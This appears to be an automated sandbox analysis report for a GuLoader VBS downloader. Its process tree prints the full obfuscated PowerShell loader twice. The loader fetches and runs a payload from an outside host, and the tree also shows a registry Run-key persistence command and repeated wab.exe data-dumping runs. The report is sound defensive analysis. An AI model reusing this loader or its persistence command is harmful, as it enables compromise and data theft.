Analysis
- max time kernel
0s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
09/06/2024, 03:37
General
- Target SKGHM_PE_757583588358839538539599593BeoersKnucklehead.vbs
- Size 154KB
- Sample240609-d6twcada9x
- SHA256 1d6d36ec589cbecea839e3b4a5156a35f48436847043f2e1f307f6579e7893e2
Score
10/10
Malware Config
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 30 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SKGHM_PE_757583588358839538539599593BeoersKnucklehead.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Spectroscopists120 = 1;Function Statsraads($Cablegram){$Broderfolket=$Cablegram.Length-$Spectroscopists120;$Boombox='Substring';For( $Udryddendes=5;$Udryddendes -lt $Broderfolket;$Udryddendes+=6){$Semimembranosus+=$Cablegram.$Boombox.Invoke( $Udryddendes, $Spectroscopists120);}$Semimembranosus;}function Saddirham($Assika){ & ($rapaciously) ($Assika);}$Stteriets=Statsraads 'L tulMPragmo etydzSlrini RoqulForgrl Sym aFlytn/Virge5Reins. Ca s0Skovl S ol(F.sfoW ommiF enunEtagedzymuroBigutwPathosInd,r GoumiN,dateT unp. Feltp1Troll0Nd.ed. Syko0Drunk;Baner RhataWBrea,iJaspenDorlo6Unref4 S at;,adka I,dkrxAuc,t6Guldf4Re,it;,adde Over.r ,andvc.sse:Ro le1Unsym2Hydri1Fear,.Snooz0Abstr)Straf PardsGPro,uefo urcBle,sk.ffixo Rei./Klfte2,lyng0 Un,o1tunin0ramle0 Ch.k1Ddsdm0 Meda1Ex er plejeFMortiiFokker,hetreMyc,sfShephoAmadexKmela/ Outh1F lsk2Nippo1Forp...rodu0 ortu ';$preverbal=Statsraads ' SquiUanfrasprogre Endsr Div,-Femd.AOss,tgVaredehecton T.ymtBrand ';$Gardehusarer=Statsraads ' P.eshUnroutlintst Surbp B.dr:Rosc,/,itha/ N tn1Uddel9 Elek4ar ej.Fanta5Acide9Elabo.vands3 Syst1.azin. Data1syn.t8P leg7conve/EnaktTPulayi ParalRadiosGr tikAfskurIntere ForpnHaverdTangfeGtcwisBeads.BifigtDevitoProboc,lfen ';$Auras=Statsraads ',igna>Prost ';$rapaciously=Statsraads 'Jadesi OrgeeLeninxCyke. ';$Beskylles='Patrichs';$stereography = Statsraads 'ponceeKerencJus.ih ,revo Wi.i Hjrej%Uh.giaFetispPhosppBnfstd UdspaTribut Downa Clea%Radi.\VengiBgscocaLavtrs P.aksHyr,riMellisTilhut,upere tidsn .ihesSocia.W.ylaT PresiEdeltlUdskn Knife&Konta&Quaif Fee,eVgtencSnigmhMudguo.rygt Limfat Olaj ';Saddirham (Statsraads ' Ur.n$Sk legPriorlIn lao.oladb,appoaMe,vilExcre:Afgr SAksl.lCreataStrewdKon,rrFlesteBackrt WaleaAccins,melikImpeeePala n.kattsNonfe=Hatte(Pueric MellmSprydd Thor Flueg/ r.edcNilda K.ttl$DuettsBeetlt Ou.tecan orCurb eTotaloGuglig direr MolaaSpeedpJalouh C.mpyNe,sp)Ka.it ');Saddirham (Statsraads ' Slag$Rn.gegRemedlBetryoDioctb LollaForevlverni:Pe,iogunlimeFondlvOddneiNo,dirAnd.rsFangl=Lobhu$ IslnGAnt,saZircor TubadMyndietilfrh,ractuD,nsesNonnuaCopyhr Hippe Wea rMaale.ProtosTaknipBondelBed.iiUddantSubso(Birr.$ Dem,AMultiuUrisir AfhjainkvisInlan)Undes ');$Gardehusarer=$gevirs[0];$kontorautomatiseringer= (Statsraads 'Genne$.usmdgDag jlDredgoBumblb SubkaHyperlporen:unpurFBrorso sjlerab.trt fstrhSuperySutte=CaracNPlasmeCircuw N.np-HistoOSemafbChannjBejume tandcMangetT,esa EfeueS.lrumyNemessSeriot WaveeTurbomEnk.l. jumiNI.done Kurdt Digt.LumskW tauteBorgeb FyldCGuerdlSen,ei BeabeAfgifn,osnit');$kontorautomatiseringer+=$Sladretaskens[1];Saddirham ($kontorautomatiseringer);Saddirham (Statsraads 'Udspi$ BrndFOutdaoGammer.ntertSquethVindbyBeadw. affiH,edsaeRustiaUnderdMorgeeWaterr TotasSvejf[Indes$MicropM.trerBigg ePointvPrstee OverrBechabDesi,aInterl Hyld] dest=Bicor$ rsenSTennitg.amotSdelieSprigr.olypiF.ambeP.eretDzublsReali ');$Musikledsagelses=Statsraads ' .oit$ UdlsFSe veoropemr RedatSyrerhElendyovers.PapooDElit.oH.lvewFrgemnKarkllcountoTrik.a Mercd.askoFkirkeiFractl Forhe,ndep(U,set$ AreoG,anawaSharprUnderdAutogebletthMilesu ddyksKrakkaRituarKludge,atrir Capi,Rygea$AgronSDumrikUpwaraCy,herServev.krtoerecivrOverv)Dimin ';$Skarver=$Sladretaskens[0];Saddirham (Statsraads 'F,ste$C hobgNota.lNedtaoSkolebUltaoaBlekilNeda,:LibelFJ,leliT.mbefStaalfLogeriDobbegIretttHyper=Grimf(FitzcTHjmeseLyskusVirgitDuode-,rigiPDuskea .ilttSbladhGedeh Brled$BirreS ustiktartaaExtrarPapbavKnivseDisesrN.tri)Angel ');while (!$Fiffigt) {Saddirham (Statsraads 'Proto$Im ergTilsalSkuffoFalcob Stada BroflSi el:ArvetDSe.enrDownca liqpAkt.oaPo,tcrAvissn orguaAvenallssald Sa miMi jsa Fors=condu$M nimtEks rr ConsuragnseInit ') ;Saddirham $Musikledsagelses;Saddirham (Statsraads 'ForesSDe ivtMaenaaGejlerPer,lt Offi- NudaSMinislUnwifeStrane S.lrpsuper G.ade4Sko,n ');Saddirham (Statsraads 'Stoma$InfangVolu lTurbooSubstbNoninaAmun.lS,iri:MesmeFVer.ciT,ynef M,kifOverhisk.ivgOpsprtPicks=Rec.i(Bad.aTGullieLivvis Simut.urse-QuincP ,omsadepr,tSaarhhAlkoh Kon $An,acSHumorkSkrddaTidsbrBlistvKantaePlakerSulp.)Herme ') ;Saddirham (Statsraads 'Nedgr$ NeurgUnsailMag.ao NathbBlu.da Sl slpostg:ModesU NearpUnselcSten o Folkl Cri,uReskrmQuiltnClima= ,nde$ CompgbatlilSkruboC.vatb offia Gnuelp.ilo:Mer eFGrubslHeredaFi urtFertitBlddee heptr MesteAbiolrRounds.andp+Eloig+Solri%Reine$Sl,ergB,ryteEmbo vRaa.aiMisjur F ovsAfdel.T mblc LyrioFleksuArbejnSttemtHalvp ') ;$Gardehusarer=$gevirs[$Upcolumn];}$Skvatte=334511;$mellemleddets=27712;Saddirham (Statsraads 'Erteb$ddsaag UnvelAfsteoSagumbAnalca.ttral,ydro:Ya miFDat doIsenkrNougafT,phelBearbg TrapeCharnlOpbygsDugaleUdenrrOmni.sWobbl Likvi=Aktio MarkdGVedl eatombtBelur-EmetaCCicisoOrnitn.ordst GheteStmagnDebo.tFrden E,rus$,appoS,evrtkUdt,kaMagnerValvev InsceG.rlirMarin ');Saddirham (Statsraads ' sk.b$ Ca mgLednilHolosoVas bbRetaraChi.al Cha,: TappM,eaveiOdyssn InfaiE,logaOrgantScr,euaugusrMag.eiPole.s sk.fa PanetBoendiN.foroSi.din Vrdi Alien=H,gge Kends[BredbSYngvaySheddsChiv,t Rimse Uds.m port.ForsiCT,ckloMethon ArchvAfhngeun,ovrBrochtC.ust]Fouri:Heter:AmphiFRadiarRingioTox,pmTveknB AfsnaHandisE,dekeHypon6Denta4PrsteS,onottUnprerR,gidiSheltnhypatg Dion( Myom$IndhoFSavn.oBekkar BeatfToughlco,esg LifteSaml l,rizzs Per,e KlosrPythos Brug)Annih ');Saddirham (Statsraads 'Strkl$Tol fg.avanlSampio RepobSponsaSeptal Diac:BibliOOptrkp FilmlAut,ha,oldenPterydCom.lsOutguaHeavevgrundiM raksWastee pensrNewsmnNit.oe Hemo Mosq=Skift .ushg[SubriSFokusySpol.sRets tKa,aneGallum oeti. MarkTAdapteSyn,hxNondetBushb.ErkynE SkvanledincSlvmeo Ndded RektiSlvp,n StregMonof]Pocke:.ounc:TintiA ,ensSRdbedCT rfaIPluskIPedic. DaemGMarreeCiboltUlykkSHeathtAutorrSatiriFurlanC untg Brun(Disun$PrivaM Linei P,linDu,deiSlgtsaUn.aitDaydruUndolrUdhveiMa ros S.ela ToiltAfsvkiTumuloOmbu.nprsid),ntoo ');Saddirham (Statsraads 'Timed$U,idigOffwal AarmoGroucbBaaseaYn.eslOpini:bombaDGodseeRulammE,evaiFluxemGadekeUdtrktDialyoHamatpAposteunchi=Kraki$ParafOVodbipApelilA roya Nu unPattedBro,zsSubsta.opolvSalemi Te,rsPebreeMlkerr concnUdv,seGrund.GarrysSlagsuNaimab St.vsPresst NonarTenseiEmporn belagAlter(A ast$UnemaSKu.stkH,kkev S,roa ProgtOppeit Misbestorl,lofte$fab fmLydbie Rem lSer,tlK.amteO ergmDi,sclNonore SnusdD mphd LegeeFug,itTrldosHeddi)Gr ek ');Saddirham $Demimetope;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bassistens.Til && echo t"3⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Spectroscopists120 = 1;Function Statsraads($Cablegram){$Broderfolket=$Cablegram.Length-$Spectroscopists120;$Boombox='Substring';For( $Udryddendes=5;$Udryddendes -lt $Broderfolket;$Udryddendes+=6){$Semimembranosus+=$Cablegram.$Boombox.Invoke( $Udryddendes, $Spectroscopists120);}$Semimembranosus;}function Saddirham($Assika){ & ($rapaciously) ($Assika);}$Stteriets=Statsraads 'L tulMPragmo etydzSlrini RoqulForgrl Sym aFlytn/Virge5Reins. Ca s0Skovl S ol(F.sfoW ommiF enunEtagedzymuroBigutwPathosInd,r GoumiN,dateT unp. Feltp1Troll0Nd.ed. Syko0Drunk;Baner RhataWBrea,iJaspenDorlo6Unref4 S at;,adka I,dkrxAuc,t6Guldf4Re,it;,adde Over.r ,andvc.sse:Ro le1Unsym2Hydri1Fear,.Snooz0Abstr)Straf PardsGPro,uefo urcBle,sk.ffixo Rei./Klfte2,lyng0 Un,o1tunin0ramle0 Ch.k1Ddsdm0 Meda1Ex er plejeFMortiiFokker,hetreMyc,sfShephoAmadexKmela/ Outh1F lsk2Nippo1Forp...rodu0 ortu ';$preverbal=Statsraads ' SquiUanfrasprogre Endsr Div,-Femd.AOss,tgVaredehecton T.ymtBrand ';$Gardehusarer=Statsraads ' P.eshUnroutlintst Surbp B.dr:Rosc,/,itha/ N tn1Uddel9 Elek4ar ej.Fanta5Acide9Elabo.vands3 Syst1.azin. Data1syn.t8P leg7conve/EnaktTPulayi ParalRadiosGr tikAfskurIntere ForpnHaverdTangfeGtcwisBeads.BifigtDevitoProboc,lfen ';$Auras=Statsraads ',igna>Prost ';$rapaciously=Statsraads 'Jadesi OrgeeLeninxCyke. ';$Beskylles='Patrichs';$stereography = Statsraads 'ponceeKerencJus.ih ,revo Wi.i Hjrej%Uh.giaFetispPhosppBnfstd UdspaTribut Downa Clea%Radi.\VengiBgscocaLavtrs P.aksHyr,riMellisTilhut,upere tidsn .ihesSocia.W.ylaT PresiEdeltlUdskn Knife&Konta&Quaif Fee,eVgtencSnigmhMudguo.rygt Limfat Olaj ';Saddirham (Statsraads ' Ur.n$Sk legPriorlIn lao.oladb,appoaMe,vilExcre:Afgr SAksl.lCreataStrewdKon,rrFlesteBackrt WaleaAccins,melikImpeeePala n.kattsNonfe=Hatte(Pueric MellmSprydd Thor Flueg/ r.edcNilda K.ttl$DuettsBeetlt Ou.tecan orCurb eTotaloGuglig direr MolaaSpeedpJalouh C.mpyNe,sp)Ka.it ');Saddirham (Statsraads ' Slag$Rn.gegRemedlBetryoDioctb LollaForevlverni:Pe,iogunlimeFondlvOddneiNo,dirAnd.rsFangl=Lobhu$ IslnGAnt,saZircor TubadMyndietilfrh,ractuD,nsesNonnuaCopyhr Hippe Wea rMaale.ProtosTaknipBondelBed.iiUddantSubso(Birr.$ Dem,AMultiuUrisir AfhjainkvisInlan)Undes ');$Gardehusarer=$gevirs[0];$kontorautomatiseringer= (Statsraads 'Genne$.usmdgDag jlDredgoBumblb SubkaHyperlporen:unpurFBrorso sjlerab.trt fstrhSuperySutte=CaracNPlasmeCircuw N.np-HistoOSemafbChannjBejume tandcMangetT,esa EfeueS.lrumyNemessSeriot WaveeTurbomEnk.l. jumiNI.done Kurdt Digt.LumskW tauteBorgeb FyldCGuerdlSen,ei BeabeAfgifn,osnit');$kontorautomatiseringer+=$Sladretaskens[1];Saddirham ($kontorautomatiseringer);Saddirham (Statsraads 'Udspi$ BrndFOutdaoGammer.ntertSquethVindbyBeadw. affiH,edsaeRustiaUnderdMorgeeWaterr TotasSvejf[Indes$MicropM.trerBigg ePointvPrstee OverrBechabDesi,aInterl Hyld] dest=Bicor$ rsenSTennitg.amotSdelieSprigr.olypiF.ambeP.eretDzublsReali ');$Musikledsagelses=Statsraads ' .oit$ UdlsFSe veoropemr RedatSyrerhElendyovers.PapooDElit.oH.lvewFrgemnKarkllcountoTrik.a Mercd.askoFkirkeiFractl Forhe,ndep(U,set$ AreoG,anawaSharprUnderdAutogebletthMilesu ddyksKrakkaRituarKludge,atrir Capi,Rygea$AgronSDumrikUpwaraCy,herServev.krtoerecivrOverv)Dimin ';$Skarver=$Sladretaskens[0];Saddirham (Statsraads 'F,ste$C hobgNota.lNedtaoSkolebUltaoaBlekilNeda,:LibelFJ,leliT.mbefStaalfLogeriDobbegIretttHyper=Grimf(FitzcTHjmeseLyskusVirgitDuode-,rigiPDuskea .ilttSbladhGedeh Brled$BirreS ustiktartaaExtrarPapbavKnivseDisesrN.tri)Angel ');while (!$Fiffigt) {Saddirham (Statsraads 'Proto$Im ergTilsalSkuffoFalcob Stada BroflSi el:ArvetDSe.enrDownca liqpAkt.oaPo,tcrAvissn orguaAvenallssald Sa miMi jsa Fors=condu$M nimtEks rr ConsuragnseInit ') ;Saddirham $Musikledsagelses;Saddirham (Statsraads 'ForesSDe ivtMaenaaGejlerPer,lt Offi- NudaSMinislUnwifeStrane S.lrpsuper G.ade4Sko,n ');Saddirham (Statsraads 'Stoma$InfangVolu lTurbooSubstbNoninaAmun.lS,iri:MesmeFVer.ciT,ynef M,kifOverhisk.ivgOpsprtPicks=Rec.i(Bad.aTGullieLivvis Simut.urse-QuincP ,omsadepr,tSaarhhAlkoh Kon $An,acSHumorkSkrddaTidsbrBlistvKantaePlakerSulp.)Herme ') ;Saddirham (Statsraads 'Nedgr$ NeurgUnsailMag.ao NathbBlu.da Sl slpostg:ModesU NearpUnselcSten o Folkl Cri,uReskrmQuiltnClima= ,nde$ CompgbatlilSkruboC.vatb offia Gnuelp.ilo:Mer eFGrubslHeredaFi urtFertitBlddee heptr MesteAbiolrRounds.andp+Eloig+Solri%Reine$Sl,ergB,ryteEmbo vRaa.aiMisjur F ovsAfdel.T mblc LyrioFleksuArbejnSttemtHalvp ') ;$Gardehusarer=$gevirs[$Upcolumn];}$Skvatte=334511;$mellemleddets=27712;Saddirham (Statsraads 'Erteb$ddsaag UnvelAfsteoSagumbAnalca.ttral,ydro:Ya miFDat doIsenkrNougafT,phelBearbg TrapeCharnlOpbygsDugaleUdenrrOmni.sWobbl Likvi=Aktio MarkdGVedl eatombtBelur-EmetaCCicisoOrnitn.ordst GheteStmagnDebo.tFrden E,rus$,appoS,evrtkUdt,kaMagnerValvev InsceG.rlirMarin ');Saddirham (Statsraads ' sk.b$ Ca mgLednilHolosoVas bbRetaraChi.al Cha,: TappM,eaveiOdyssn InfaiE,logaOrgantScr,euaugusrMag.eiPole.s sk.fa PanetBoendiN.foroSi.din Vrdi Alien=H,gge Kends[BredbSYngvaySheddsChiv,t Rimse Uds.m port.ForsiCT,ckloMethon ArchvAfhngeun,ovrBrochtC.ust]Fouri:Heter:AmphiFRadiarRingioTox,pmTveknB AfsnaHandisE,dekeHypon6Denta4PrsteS,onottUnprerR,gidiSheltnhypatg Dion( Myom$IndhoFSavn.oBekkar BeatfToughlco,esg LifteSaml l,rizzs Per,e KlosrPythos Brug)Annih ');Saddirham (Statsraads 'Strkl$Tol fg.avanlSampio RepobSponsaSeptal Diac:BibliOOptrkp FilmlAut,ha,oldenPterydCom.lsOutguaHeavevgrundiM raksWastee pensrNewsmnNit.oe Hemo Mosq=Skift .ushg[SubriSFokusySpol.sRets tKa,aneGallum oeti. MarkTAdapteSyn,hxNondetBushb.ErkynE SkvanledincSlvmeo Ndded RektiSlvp,n StregMonof]Pocke:.ounc:TintiA ,ensSRdbedCT rfaIPluskIPedic. DaemGMarreeCiboltUlykkSHeathtAutorrSatiriFurlanC untg Brun(Disun$PrivaM Linei P,linDu,deiSlgtsaUn.aitDaydruUndolrUdhveiMa ros S.ela ToiltAfsvkiTumuloOmbu.nprsid),ntoo ');Saddirham (Statsraads 'Timed$U,idigOffwal AarmoGroucbBaaseaYn.eslOpini:bombaDGodseeRulammE,evaiFluxemGadekeUdtrktDialyoHamatpAposteunchi=Kraki$ParafOVodbipApelilA roya Nu unPattedBro,zsSubsta.opolvSalemi Te,rsPebreeMlkerr concnUdv,seGrund.GarrysSlagsuNaimab St.vsPresst NonarTenseiEmporn belagAlter(A ast$UnemaSKu.stkH,kkev S,roa ProgtOppeit Misbestorl,lofte$fab fmLydbie Rem lSer,tlK.amteO ergmDi,sclNonore SnusdD mphd LegeeFug,itTrldosHeddi)Gr ek ');Saddirham $Demimetope;"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bassistens.Til && echo t"4⤵
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Kuldsejledes" /t REG_EXPAND_SZ /d "%Fermenteringerne% -w 1 $Objurgations=(Get-ItemProperty -Path 'HKCU:\Come\').Chilliwack;%Fermenteringerne% ($Objurgations)"5⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Kuldsejledes" /t REG_EXPAND_SZ /d "%Fermenteringerne% -w 1 $Objurgations=(Get-ItemProperty -Path 'HKCU:\Come\').Chilliwack;%Fermenteringerne% ($Objurgations)"6⤵
- Modifies registry key
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mikefsxbshupisduoujxrmwpsgv"5⤵
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mikefsxbshupisduoujxrmwpsgv"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4440 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\xcpxglidgpmukyzgxewycyrgamnyhlh"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\zwvihdtwuxezumnkopiafllpjbwhawxyzg"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1396 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\eowsedykwcafjtouzejmfrsgvl"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3908 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\oibkfnjdsksktacyipwoieexerckv"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\rkpdfftfgskpvgyczaqptjzgmgulwjya"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\lrcucmoqtooihhvismxij"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\wtifdfykhxhnsvrukxrcuwfx"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 452 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\gnvxdxjdvfzaubfythedxjsohezp"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\bcjpawvpjbdtgcje"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4924 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dwwhaogrfjvyqifidwf"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2064 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\nzcsbhzksrndtwtmvhrracs"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4332 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\iopryflwgor"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\sidcyywxuwjjpd"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1832 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\vcivzqhrieborkiiop"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3128 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ztjfwhmerj"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2904 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\knppxawyfrqzq"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3872 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mquiyshztziealla"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\hxqzu"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1624 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\rzvsvrme"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3616 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\btakvcxgjmw"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\wiwcsjjreiaalhebutoctcdmlajjwpd"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2756 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\yccmtbulsqsnnosfmebewgydmoarpacrin"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 624 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\jepftu"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 892 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\onipqlksidhqmjhbgeosahqdofgnj"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\yivirdvtwlzdwpvfppjtlmluptqwdvvtx"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1700 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\akbss"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1616 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\vzxkouayfqvbkwwphmjglajl"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ftccpnkatyngncktrwwhomeurjvs"5⤵
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ftccpnkatyngncktrwwhomeurjvs"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4484 -s 126⤵
- Program crash
-
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qvhvqfvuhgftxqgxahjjzryksynbyhn"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 126⤵
- Program crash
-
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1396 -ip 13961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4304 -ip 43041⤵
-
